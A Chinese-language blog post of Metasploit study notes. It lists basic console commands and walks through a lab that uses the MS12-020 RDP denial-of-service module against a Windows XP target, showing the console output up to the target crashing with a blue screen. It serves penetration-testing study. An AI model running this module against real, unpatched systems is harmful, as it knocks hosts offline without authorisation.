Metasploit 學習筆記1

2021-09-02 16:42:23 字數 1724 閱讀 2422

use … 選擇滲透攻擊模組

show payloads 檢視與該攻擊模組相相容的攻擊載荷

set payload … 設定攻擊載荷

set target 設定目標

show options 檢視需要設定的配置引數

exploit 實施滲透攻擊

back 返回上一級

metasploit滲透攻擊模組在目錄/usr/share/metasploit-framework/modules/exploits

2.1 ms12-020漏洞利用演示實驗

2.1.1 微軟關於ms12-020漏洞的安全公告:

2.1.2 實驗準備工作

1、該漏洞利用遠端桌面的漏洞進行攻擊,所以需要靶機xp系統開啟遠端桌面功能。

2、檢查確定滲透測試系統與靶機系統可以互相ping通。

2.1.3 實驗步驟 1、滲透測試系統中,在終端輸入msfconsole進入msf終端,接著在msf終端中使用search功能搜尋ms12-020,發現有兩個可用模組:

msf > search ms12-020

name disclosure date rank description

auxiliary/dos/windows/rdp/ms12_020_maxchannelids 2012-03-16 normal ms12-020 microsoft remote desktop use-after-free dos

auxiliary/scanner/rdp/ms12_020_check normal ms12-020 microsoft remote desktop checker

2、使用use命令選定要利用的模組:

msf > use auxiliary/dos/windows/rdp/ms12_020_maxchannelids

msf auxiliary(ms12_020_maxchannelids)

3、檢視需要填寫的引數,這裡需要填寫靶機ip。

msf auxiliary(ms12_020_maxchannelids) > show options

module options (auxiliary/dos/windows/rdp/ms12_020_maxchannelids):

name current setting required description

rhost yes the target address

rport 3389 yes the target port

msf auxiliary(ms12_020_maxchannelids) > set rhost 192.168.116.129

rhost => 192.168.116.129

4、最後輸入命令「run」,執行我們的auxiliary攻擊模組:

msf auxiliary(ms12_020_maxchannelids) > run

192.168.116.129:3389 - sending ms12-020 microsoft remote desktop use-after-free dos

192.168.116.129:3389 - 210 bytes sent

192.168.116.129:3389 - checking rdp status…

[+] 192.168.116.129:3389 seems down

auxiliary module execution completed

5、靶機系統受到攻擊後藍屏

Metasploit學習筆記 一

apt get update 更新源 apt get upgrade 更新軟體包 apt get dist upgrade 公升級系統 auxiliaries 輔助模組 掃瞄,嗅探,指紋識別 exploit 漏洞利用模組 針對漏洞進行攻擊 payload 目標被滲透之後的完成實際攻擊功能的 如新增乙...

Metasploit學習筆記(一) 資訊收集

一 滲透測試中資訊收集的主要任務 確定滲透測試目標的範圍。通過資訊收集,發現滲透目標的安全漏洞。二 通過dns挖掘目標網路資訊 whois網域名稱資訊查詢。進行whois查詢時去掉www ftp等字首。dig 功能同nslookup,一般為權威解答。語法如下 dig 待查詢網域名稱 後面再加上a n...

metasploit 學習與使用

使用msfconsole命令進入msf 我認為重要的兩部分是exploit和payload 乙個是選擇攻擊方式乙個是選擇攻擊載荷,合適的攻擊方式有利於滲透成功,合適的payload有利於成功之後搭建通道 輸入help可以檢視使用過程中需要的引數或者指令 show options 顯示他有哪些引數 s...